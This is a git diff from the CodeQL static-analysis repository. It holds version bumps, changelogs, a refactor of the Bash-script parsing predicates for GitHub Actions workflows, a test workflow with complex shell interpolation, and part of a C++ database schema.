diff --git a/.github/workflows/validate-change-notes.yml b/.github/workflows/validate-change-notes.yml
index 3c83ffa709a..42784b661fc 100644
--- a/.github/workflows/validate-change-notes.yml
+++ b/.github/workflows/validate-change-notes.yml
@@ -31,4 +31,4 @@ jobs:
- name: Fail if there are any errors with existing change notes
run: |
- codeql pack release --groups cpp,csharp,java,javascript,python,ruby,-examples,-test,-experimental
+ codeql pack release --groups actions,cpp,csharp,go,java,javascript,python,ruby,shared,swift -examples,-test,-experimental
diff --git a/MODULE.bazel b/MODULE.bazel
index 764eb6abe72..6c27900a9fb 100644
--- a/MODULE.bazel
+++ b/MODULE.bazel
@@ -239,24 +239,24 @@ go_deps = use_extension("@gazelle//:extensions.bzl", "go_deps")
go_deps.from_file(go_mod = "//go/extractor:go.mod")
use_repo(go_deps, "org_golang_x_mod", "org_golang_x_tools")
-lfs_files = use_repo_rule("//misc/bazel:lfs.bzl", "lfs_files")
+lfs_archive = use_repo_rule("//misc/bazel:lfs.bzl", "lfs_archive")
-lfs_files(
+lfs_archive(
name = "ripunzip-linux",
- srcs = ["//misc/ripunzip:ripunzip-linux"],
- executable = True,
+ src = "//misc/ripunzip:ripunzip-Linux.zip",
+ build_file = "//misc/ripunzip:BUILD.ripunzip.bazel",
)
-lfs_files(
+lfs_archive(
name = "ripunzip-windows",
- srcs = ["//misc/ripunzip:ripunzip-windows.exe"],
- executable = True,
+ src = "//misc/ripunzip:ripunzip-Windows.zip",
+ build_file = "//misc/ripunzip:BUILD.ripunzip.bazel",
)
-lfs_files(
+lfs_archive(
name = "ripunzip-macos",
- srcs = ["//misc/ripunzip:ripunzip-macos"],
- executable = True,
+ src = "//misc/ripunzip:ripunzip-macOS.zip",
+ build_file = "//misc/ripunzip:BUILD.ripunzip.bazel",
)
register_toolchains(
diff --git a/actions/ql/lib/CHANGELOG.md b/actions/ql/lib/CHANGELOG.md
index 16262bfaa84..53bf9173713 100644
--- a/actions/ql/lib/CHANGELOG.md
+++ b/actions/ql/lib/CHANGELOG.md
@@ -1,3 +1,11 @@
+## 0.4.11
+
+No user-facing changes.
+
+## 0.4.10
+
+No user-facing changes.
+
## 0.4.9
No user-facing changes.
diff --git a/actions/ql/lib/change-notes/2025-06-09-bash-parsing-performance.md b/actions/ql/lib/change-notes/2025-06-09-bash-parsing-performance.md
new file mode 100644
index 00000000000..5ee29557c85
--- /dev/null
+++ b/actions/ql/lib/change-notes/2025-06-09-bash-parsing-performance.md
@@ -0,0 +1,6 @@
+---
+category: minorAnalysis
+---
+* Fixed performance issues in the parsing of Bash scripts in workflow files,
+ which led to out-of-disk errors when analysing certain workflow files with
+ complex interpolations of shell commands or quoted strings.
\ No newline at end of file
diff --git a/actions/ql/lib/change-notes/released/0.4.10.md b/actions/ql/lib/change-notes/released/0.4.10.md
new file mode 100644
index 00000000000..9ae55e0ca34
--- /dev/null
+++ b/actions/ql/lib/change-notes/released/0.4.10.md
@@ -0,0 +1,3 @@
+## 0.4.10
+
+No user-facing changes.
diff --git a/actions/ql/lib/change-notes/released/0.4.11.md b/actions/ql/lib/change-notes/released/0.4.11.md
new file mode 100644
index 00000000000..d29b796a245
--- /dev/null
+++ b/actions/ql/lib/change-notes/released/0.4.11.md
@@ -0,0 +1,3 @@
+## 0.4.11
+
+No user-facing changes.
diff --git a/actions/ql/lib/codeql-pack.release.yml b/actions/ql/lib/codeql-pack.release.yml
index c898a5bfdcd..80a4283b3e4 100644
--- a/actions/ql/lib/codeql-pack.release.yml
+++ b/actions/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
---
-lastReleaseVersion: 0.4.9
+lastReleaseVersion: 0.4.11
diff --git a/actions/ql/lib/codeql/actions/Ast.qll b/actions/ql/lib/codeql/actions/Ast.qll
index 8c1925f3288..ae19a7a7e8c 100644
--- a/actions/ql/lib/codeql/actions/Ast.qll
+++ b/actions/ql/lib/codeql/actions/Ast.qll
@@ -50,8 +50,8 @@ class Expression extends AstNode instanceof ExpressionImpl {
string getNormalizedExpression() { result = normalizeExpr(expression) }
}
-/** A common class for `env` in workflow, job or step. */
-abstract class Env extends AstNode instanceof EnvImpl {
+/** An `env` in workflow, job or step. */
+class Env extends AstNode instanceof EnvImpl {
/** Gets an environment variable value given its name. */
ScalarValueImpl getEnvVarValue(string name) { result = super.getEnvVarValue(name) }
diff --git a/actions/ql/lib/codeql/actions/Bash.qll b/actions/ql/lib/codeql/actions/Bash.qll
index 4519a8949d7..4975ce6f4cc 100644
--- a/actions/ql/lib/codeql/actions/Bash.qll
+++ b/actions/ql/lib/codeql/actions/Bash.qll
@@ -8,35 +8,64 @@ class BashShellScript extends ShellScript {
)
}
- private string lineProducer(int i) {
- result = this.getRawScript().regexpReplaceAll("\\\\\\s*\n", "").splitAt("\n", i)
+ /**
+ * Gets the line at 0-based index `lineIndex` within this shell script,
+ * assuming newlines as separators.
+ */
+ private string lineProducer(int lineIndex) {
+ result = this.getRawScript().regexpReplaceAll("\\\\\\s*\n", "").splitAt("\n", lineIndex)
}
- private predicate cmdSubstitutionReplacement(string cmdSubs, string id, int k) {
- exists(string line | line = this.lineProducer(k) |
- exists(int i, int j |
- cmdSubs =
- // $() cmd substitution
- line.regexpFind("\\$\\((?:[^()]+|\\((?:[^()]+|\\([^()]*\\))*\\))*\\)", i, j)
- .regexpReplaceAll("^\\$\\(", "")
- .regexpReplaceAll("\\)$", "") and
- id = "cmdsubs:" + k + ":" + i + ":" + j
- )
- or
- exists(int i, int j |
- // `...` cmd substitution
- cmdSubs =
- line.regexpFind("\\`[^\\`]+\\`", i, j)
- .regexpReplaceAll("^\\`", "")
- .regexpReplaceAll("\\`$", "") and
- id = "cmd:" + k + ":" + i + ":" + j
- )
+ private predicate cmdSubstitutionReplacement(string command, string id, int lineIndex) {
+ this.commandInSubstitution(lineIndex, command, id)
+ or
+ this.commandInBackticks(lineIndex, command, id)
+ }
+
+ /**
+ * Holds if there is a command substitution `$(command)` in
+ * the line at `lineIndex` in the shell script,
+ * and `id` is a unique identifier for this command.
+ */
+ private predicate commandInSubstitution(int lineIndex, string command, string id) {
+ exists(int occurrenceIndex, int occurrenceOffset |
+ command =
+ // Look for the command inside a $(...) command substitution
+ this.lineProducer(lineIndex)
+ .regexpFind("\\$\\((?:[^()]+|\\((?:[^()]+|\\([^()]*\\))*\\))*\\)", occurrenceIndex,
+ occurrenceOffset)
+ // trim starting $( - TODO do this in first regex
+ .regexpReplaceAll("^\\$\\(", "")
+ // trim ending ) - TODO do this in first regex
+ .regexpReplaceAll("\\)$", "") and
+ id = "cmdsubs:" + lineIndex + ":" + occurrenceIndex + ":" + occurrenceOffset
)
}
- private predicate rankedCmdSubstitutionReplacements(int i, string old, string new) {
- old = rank[i](string old2 | this.cmdSubstitutionReplacement(old2, _, _) | old2) and
- this.cmdSubstitutionReplacement(old, new, _)
+ /**
+ * Holds if `command` is a command in backticks `` `...` `` in
+ * the line at `lineIndex` in the shell script,
+ * and `id` is a unique identifier for this command.
+ */
+ private predicate commandInBackticks(int lineIndex, string command, string id) {
+ exists(int occurrenceIndex, int occurrenceOffset |
+ command =
+ this.lineProducer(lineIndex)
+ .regexpFind("\\`[^\\`]+\\`", occurrenceIndex, occurrenceOffset)
+ // trim leading backtick - TODO do this in first regex
+ .regexpReplaceAll("^\\`", "")
+ // trim trailing backtick - TODO do this in first regex
+ .regexpReplaceAll("\\`$", "") and
+ id = "cmd:" + lineIndex + ":" + occurrenceIndex + ":" + occurrenceOffset
+ )
+ }
+
+ private predicate rankedCmdSubstitutionReplacements(int i, string command, string commandId) {
+ // rank commands by their unique IDs
+ commandId = rank[i](string c, string id | this.cmdSubstitutionReplacement(c, id, _) | id) and
+ // since we cannot output (command, ID) tuples from the rank operation,
+ // we need to work out the specific command associated with the resulting ID
+ this.cmdSubstitutionReplacement(command, commandId, _)
}
private predicate doReplaceCmdSubstitutions(int line, int round, string old, string new) {
@@ -64,31 +93,56 @@ class BashShellScript extends ShellScript {
this.cmdSubstitutionReplacement(result, _, i)
}
+ /**
+ * Holds if `quotedStr` is a string in double quotes in
+ * the line at `lineIndex` in the shell script,
+ * and `id` is a unique identifier for this quoted string.
+ */
+ private predicate doubleQuotedString(int lineIndex, string quotedStr, string id) {
+ exists(int occurrenceIndex, int occurrenceOffset |
+ // double quoted string
+ quotedStr =
+ this.cmdSubstitutedLineProducer(lineIndex)
+ .regexpFind("\"((?:[^\"\\\\]|\\\\.)*)\"", occurrenceIndex, occurrenceOffset) and
+ id =
+ "qstr:" + lineIndex + ":" + occurrenceIndex + ":" + occurrenceOffset + ":" +
+ quotedStr.length() + ":" + quotedStr.regexpReplaceAll("[^a-zA-Z0-9]", "")
+ )
+ }
+
+ /**
+ * Holds if `quotedStr` is a string in single quotes in
+ * the line at `lineIndex` in the shell script,
+ * and `id` is a unique identifier for this quoted string.
+ */
+ private predicate singleQuotedString(int lineIndex, string quotedStr, string id) {
+ exists(int occurrenceIndex, int occurrenceOffset |
+ // single quoted string
+ quotedStr =
+ this.cmdSubstitutedLineProducer(lineIndex)
+ .regexpFind("'((?:\\\\.|[^'\\\\])*)'", occurrenceIndex, occurrenceOffset) and
+ id =
+ "qstr:" + lineIndex + ":" + occurrenceIndex + ":" + occurrenceOffset + ":" +
+ quotedStr.length() + ":" + quotedStr.regexpReplaceAll("[^a-zA-Z0-9]", "")
+ )
+ }
+
private predicate quotedStringReplacement(string quotedStr, string id) {
- exists(string line, int k | line = this.cmdSubstitutedLineProducer(k) |
- exists(int i, int j |
- // double quoted string
- quotedStr = line.regexpFind("\"((?:[^\"\\\\]|\\\\.)*)\"", i, j) and
- id =
- "qstr:" + k + ":" + i + ":" + j + ":" + quotedStr.length() + ":" +
- quotedStr.regexpReplaceAll("[^a-zA-Z0-9]", "")
- )
+ exists(int lineIndex |
+ this.doubleQuotedString(lineIndex, quotedStr, id)
or
- exists(int i, int j |
- // single quoted string
- quotedStr = line.regexpFind("'((?:\\\\.|[^'\\\\])*)'", i, j) and
- id =
- "qstr:" + k + ":" + i + ":" + j + ":" + quotedStr.length() + ":" +
- quotedStr.regexpReplaceAll("[^a-zA-Z0-9]", "")
- )
+ this.singleQuotedString(lineIndex, quotedStr, id)
) and
// Only do this for strings that might otherwise disrupt subsequent parsing
quotedStr.regexpMatch("[\"'].*[$\n\r'\"" + Bash::separator() + "].*[\"']")
}
- private predicate rankedQuotedStringReplacements(int i, string old, string new) {
- old = rank[i](string old2 | this.quotedStringReplacement(old2, _) | old2) and
- this.quotedStringReplacement(old, new)
+ private predicate rankedQuotedStringReplacements(int i, string quotedString, string quotedStringId) {
+ // rank quoted strings by their nearly-unique IDs
+ quotedStringId = rank[i](string s, string id | this.quotedStringReplacement(s, id) | id) and
+ // since we cannot output (string, ID) tuples from the rank operation,
+ // we need to work out the specific string associated with the resulting ID
+ this.quotedStringReplacement(quotedString, quotedStringId)
}
private predicate doReplaceQuotedStrings(int line, int round, string old, string new) {
diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml
index 6e9a94292d0..596bf4a14f0 100644
--- a/actions/ql/lib/qlpack.yml
+++ b/actions/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
name: codeql/actions-all
-version: 0.4.10-dev
+version: 0.4.12-dev
library: true
warnOnImplicitThis: true
dependencies:
diff --git a/actions/ql/src/CHANGELOG.md b/actions/ql/src/CHANGELOG.md
index 5779691947e..3140211bc4a 100644
--- a/actions/ql/src/CHANGELOG.md
+++ b/actions/ql/src/CHANGELOG.md
@@ -1,3 +1,13 @@
+## 0.6.3
+
+No user-facing changes.
+
+## 0.6.2
+
+### Minor Analysis Improvements
+
+* The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions.
+
## 0.6.1
No user-facing changes.
diff --git a/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md b/actions/ql/src/change-notes/released/0.6.2.md
similarity index 84%
rename from actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md
rename to actions/ql/src/change-notes/released/0.6.2.md
index 8d6c87fe7a7..062fb0f6f91 100644
--- a/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md
+++ b/actions/ql/src/change-notes/released/0.6.2.md
@@ -1,4 +1,5 @@
----
-category: minorAnalysis
----
+## 0.6.2
+
+### Minor Analysis Improvements
+
* The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions.
diff --git a/actions/ql/src/change-notes/released/0.6.3.md b/actions/ql/src/change-notes/released/0.6.3.md
new file mode 100644
index 00000000000..83374bcef56
--- /dev/null
+++ b/actions/ql/src/change-notes/released/0.6.3.md
@@ -0,0 +1,3 @@
+## 0.6.3
+
+No user-facing changes.
diff --git a/actions/ql/src/codeql-pack.release.yml b/actions/ql/src/codeql-pack.release.yml
index 80fb0899f64..b7dafe32c5d 100644
--- a/actions/ql/src/codeql-pack.release.yml
+++ b/actions/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
---
-lastReleaseVersion: 0.6.1
+lastReleaseVersion: 0.6.3
diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml
index 49f4f30f7da..99c4fd8d02c 100644
--- a/actions/ql/src/qlpack.yml
+++ b/actions/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
name: codeql/actions-queries
-version: 0.6.2-dev
+version: 0.6.4-dev
library: false
warnOnImplicitThis: true
groups: [actions, queries]
diff --git a/actions/ql/test/query-tests/Security/CWE-094/.github/workflows/interpolation.yml b/actions/ql/test/query-tests/Security/CWE-094/.github/workflows/interpolation.yml
new file mode 100644
index 00000000000..2b719a3a38a
--- /dev/null
+++ b/actions/ql/test/query-tests/Security/CWE-094/.github/workflows/interpolation.yml
@@ -0,0 +1,81 @@
+name: Workflow with complex interpolation
+on:
+ workflow_dispatch:
+ inputs:
+ choice-a:
+ required: true
+ type: choice
+ description: choice-a
+ default: a1
+ options:
+ - a1
+ - a2
+ - a3
+ string-b:
+ required: false
+ type: string
+ description: string-b
+ string-c:
+ required: false
+ type: string
+ description: string-c
+ list-d:
+ required: true
+ type: string
+ default: d1 d2
+ description: list-d whitespace separated
+ list-e:
+ required: false
+ type: string
+ description: list-e whitespace separated
+ choice-f:
+ required: true
+ type: choice
+ description: choice-f
+ options:
+ - false
+ - true
+
+env:
+ DRY_TEST: false
+ B: ${{ github.event.inputs.string-b }}
+
+jobs:
+ job:
+ runs-on: ubuntu-latest
+ steps:
+ - name: Produce values
+ id: produce-values
+ run: |
+ echo "region=region" >> $GITHUB_OUTPUT
+ echo "zone=zone" >> $GITHUB_OUTPUT
+
+ - name: Step with complex interpolation
+ id: complex
+ env:
+ CHOICE_A: ${{ github.event.inputs.choice-a }}
+ STRING_B: ${{ github.event.inputs.string-b }}
+ STRING_C: ${{ github.event.inputs.string-c }}
+ LIST_D: ${{ github.event.inputs.list-d }}
+ LIST_E: ${{ github.event.inputs.list-e }}
+ CHOICE_F: ${{ github.event.inputs.choice-f }}
+ REGION: ${{ steps.produce-values.outputs.region }}
+ ZONE: ${{ steps.produce-values.outputs.zone }}
+ DRY_TEST_JSON: ${{ fromJSON(env.DRY_TEST) }}
+ FUNCTION_NAME: my-function
+ USER_EMAIL: 'example@example.com'
+ TYPE: type
+ RANGE: '0-100'
+
+ run: |
+ comma_separated_list_d=$(echo "${LIST_D}" | sed "s/ /\",\"/g")
+ comma_separated_list_e=$(echo "${LIST_E}" | sed "s/ /\",\"/g")
+ c1=$(echo "${STRING_C}" | cut -d "-" -f 1)
+ c2=$(echo "${STRING_C}" | cut -d "-" -f 2)
+ # Similar commands that use JSON payloads with string interpolation.
+ response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":"","listE":"","dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail)
+ response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":["'"${comma_separated_list_d}"'"],"listE":"","dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail)
+ response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":["'"${comma_separated_list_d}"'"],"listE":"","dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail)
+ response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":["'"${comma_separated_list_d}"'"],"listE":"","dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail)
+ response=$(aws lambda invoke --invocation-type RequestResponse --function-name "${FUNCTION_NAME}" --region "${REGION}" --cli-read-timeout 0 --cli-binary-format raw-in-base64-out --payload '{"appName":"my-app","chA":"'"${CHOICE_A}"'","c1":"'"${c1}"'","c2":"'"${c2}"'","a":"${CHOICE_A}","bValue":"${B}","zone":"${ZONE}","userEmail":"'"${USER_EMAIL}"'","region":"${REGION}","range":"${RANGE}","type":"${TYPE}","b":"${STRING_B}","listD":"","listE":["'"${comma_separated_list_e}"'"],"dryTest":'"${DRY_TEST_JSON}"',"f":"${CHOICE_F}"}' ./config.json --log-type Tail)
+ shell: bash
diff --git a/cpp/bulk_generation_targets.yml b/cpp/bulk_generation_targets.yml
new file mode 100644
index 00000000000..0e42eac3765
--- /dev/null
+++ b/cpp/bulk_generation_targets.yml
@@ -0,0 +1,10 @@
+language: cpp
+strategy: dca
+destination: cpp/ql/lib/ext/generated
+targets:
+- name: openssl
+ with-sinks: false
+ with-sources: false
+- name: sqlite
+ with-sinks: false
+ with-sources: false
diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/lambdas.ql b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/lambdas.ql
new file mode 100644
index 00000000000..cb35a2cc532
--- /dev/null
+++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/lambdas.ql
@@ -0,0 +1,7 @@
+class LambdaExpr extends @lambdaexpr {
+ string toString() { none() }
+}
+
+from LambdaExpr lambda, string default_capture, boolean has_explicit_return_type
+where lambdas(lambda, default_capture, has_explicit_return_type, _)
+select lambda, default_capture, has_explicit_return_type
diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/old.dbscheme b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/old.dbscheme
new file mode 100644
index 00000000000..3c45f8b9e71
--- /dev/null
+++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/old.dbscheme
@@ -0,0 +1,2493 @@
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+ /**
+ * An invocation of the compiler. Note that more than one file may
+ * be compiled per invocation. For example, this command compiles
+ * three source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ */
+ unique int id : @compilation,
+ string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | *path to extractor*
+ * 1 | `--mimic`
+ * 2 | `/usr/bin/gcc`
+ * 3 | `-c`
+ * 4 | f1.c
+ * 5 | f2.c
+ * 6 | f3.c
+ */
+#keyset[id, num]
+compilation_args(
+ int id : @compilation ref,
+ int num : int ref,
+ string arg : string ref
+);
+
+/**
+ * Optionally, record the build mode for each compilation.
+ */
+compilation_build_mode(
+ unique int id : @compilation ref,
+ int mode : int ref
+);
+
+/*
+case @compilation_build_mode.mode of
+ 0 = @build_mode_none
+| 1 = @build_mode_manual
+| 2 = @build_mode_auto
+;
+*/
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | f1.c
+ * 1 | f2.c
+ * 2 | f3.c
+ *
+ * Note that even if those files `#include` headers, those headers
+ * do not appear as rows.
+ */
+#keyset[id, num]
+compilation_compiling_files(
+ int id : @compilation ref,
+ int num : int ref,
+ int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1 | CPU seconds used by the extractor frontend
+ * 2 | Elapsed seconds during the extractor frontend
+ * 3 | CPU seconds used by the extractor backend
+ * 4 | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+ int id : @compilation ref,
+ int num : int ref,
+ /* kind:
+ 1 = frontend_cpu_seconds
+ 2 = frontend_elapsed_seconds
+ 3 = extractor_cpu_seconds
+ 4 = extractor_elapsed_seconds
+ */
+ int kind : int ref,
+ float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+ int diagnostic : @diagnostic ref,
+ int compilation : @compilation ref,
+ int file_number : int ref,
+ int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+ unique int id : @compilation ref,
+ float cpu_seconds : float ref,
+ float elapsed_seconds : float ref
+);
+
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+ int id : @externalDataElement,
+ string path : string ref,
+ int column: int ref,
+ string value : string ref
+);
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/**
+ * Information about packages that provide code used during compilation.
+ * The `id` is just a unique identifier.
+ * The `namespace` is typically the name of the package manager that
+ * provided the package (e.g. "dpkg" or "yum").
+ * The `package_name` is the name of the package, and `version` is its
+ * version (as a string).
+ */
+external_packages(
+ unique int id: @external_package,
+ string namespace : string ref,
+ string package_name : string ref,
+ string version : string ref
+);
+
+/**
+ * Holds if File `fileid` was provided by package `package`.
+ */
+header_to_external_package(
+ int fileid : @file ref,
+ int package : @external_package ref
+);
+
+/*
+ * Version history
+ */
+
+svnentries(
+ unique int id : @svnentry,
+ string revision : string ref,
+ string author : string ref,
+ date revisionDate : date ref,
+ int changeSize : int ref
+)
+
+svnaffectedfiles(
+ int id : @svnentry ref,
+ int file : @file ref,
+ string action : string ref
+)
+
+svnentrymsg(
+ unique int id : @svnentry ref,
+ string message : string ref
+)
+
+svnchurn(
+ int commit : @svnentry ref,
+ int file : @file ref,
+ int addedLines : int ref,
+ int deletedLines : int ref
+)
+
+/*
+ * C++ dbscheme
+ */
+
+extractor_version(
+ string codeql_version: string ref,
+ string frontend_version: string ref
+)
+
+@location = @location_stmt | @location_expr | @location_default ;
+
+/**
+ * The location of an element that is not an expression or a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+ /** The location of an element that is not an expression or a statement. */
+ unique int id: @location_default,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_stmt(
+ /** The location of a statement. */
+ unique int id: @location_stmt,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of an expression.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_expr(
+ /** The location of an expression. */
+ unique int id: @location_expr,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/** An element for which line-count information is available. */
+@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable;
+
+numlines(
+ int element_id: @sourceline ref,
+ int num_lines: int ref,
+ int num_code: int ref,
+ int num_comment: int ref
+);
+
+diagnostics(
+ unique int id: @diagnostic,
+ int severity: int ref,
+ string error_tag: string ref,
+ string error_message: string ref,
+ string full_error_message: string ref,
+ int location: @location_default ref
+);
+
+files(
+ unique int id: @file,
+ string name: string ref
+);
+
+folders(
+ unique int id: @folder,
+ string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+ int parent: @container ref,
+ unique int child: @container ref
+);
+
+fileannotations(
+ int id: @file ref,
+ int kind: int ref,
+ string name: string ref,
+ string value: string ref
+);
+
+inmacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+affectedbymacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+case @macroinvocation.kind of
+ 1 = @macro_expansion
+| 2 = @other_macro_reference
+;
+
+macroinvocations(
+ unique int id: @macroinvocation,
+ int macro_id: @ppd_define ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+macroparent(
+ unique int id: @macroinvocation ref,
+ int parent_id: @macroinvocation ref
+);
+
+// a macroinvocation may be part of another location
+// the way to find a constant expression that uses a macro
+// is thus to find a constant expression that has a location
+// to which a macro invocation is bound
+macrolocationbind(
+ int id: @macroinvocation ref,
+ int location: @location ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_unexpanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_expanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+/*
+case @function.kind of
+ 1 = @normal_function
+| 2 = @constructor
+| 3 = @destructor
+| 4 = @conversion_function
+| 5 = @operator
+| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk
+| 7 = @user_defined_literal
+| 8 = @deduction_guide
+;
+*/
+
+functions(
+ unique int id: @function,
+ string name: string ref,
+ int kind: int ref
+);
+
+function_entry_point(
+ int id: @function ref,
+ unique int entry_point: @stmt ref
+);
+
+function_return_type(
+ int id: @function ref,
+ int return_type: @type ref
+);
+
+/**
+ * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits`
+ * instance associated with it, and the variables representing the `handle` and `promise`
+ * for it.
+ */
+coroutine(
+ unique int function: @function ref,
+ int traits: @type ref
+);
+
+/*
+case @coroutine_placeholder_variable.kind of
+ 1 = @handle
+| 2 = @promise
+| 3 = @init_await_resume
+;
+*/
+
+coroutine_placeholder_variable(
+ unique int placeholder_variable: @variable ref,
+ int kind: int ref,
+ int function: @function ref
+)
+
+/** The `new` function used for allocating the coroutine state, if any. */
+coroutine_new(
+ unique int function: @function ref,
+ int new: @function ref
+);
+
+/** The `delete` function used for deallocating the coroutine state, if any. */
+coroutine_delete(
+ unique int function: @function ref,
+ int delete: @function ref
+);
+
+purefunctions(unique int id: @function ref);
+
+function_deleted(unique int id: @function ref);
+
+function_defaulted(unique int id: @function ref);
+
+function_prototyped(unique int id: @function ref)
+
+deduction_guide_for_class(
+ int id: @function ref,
+ int class_template: @usertype ref
+)
+
+member_function_this_type(
+ unique int id: @function ref,
+ int this_type: @type ref
+);
+
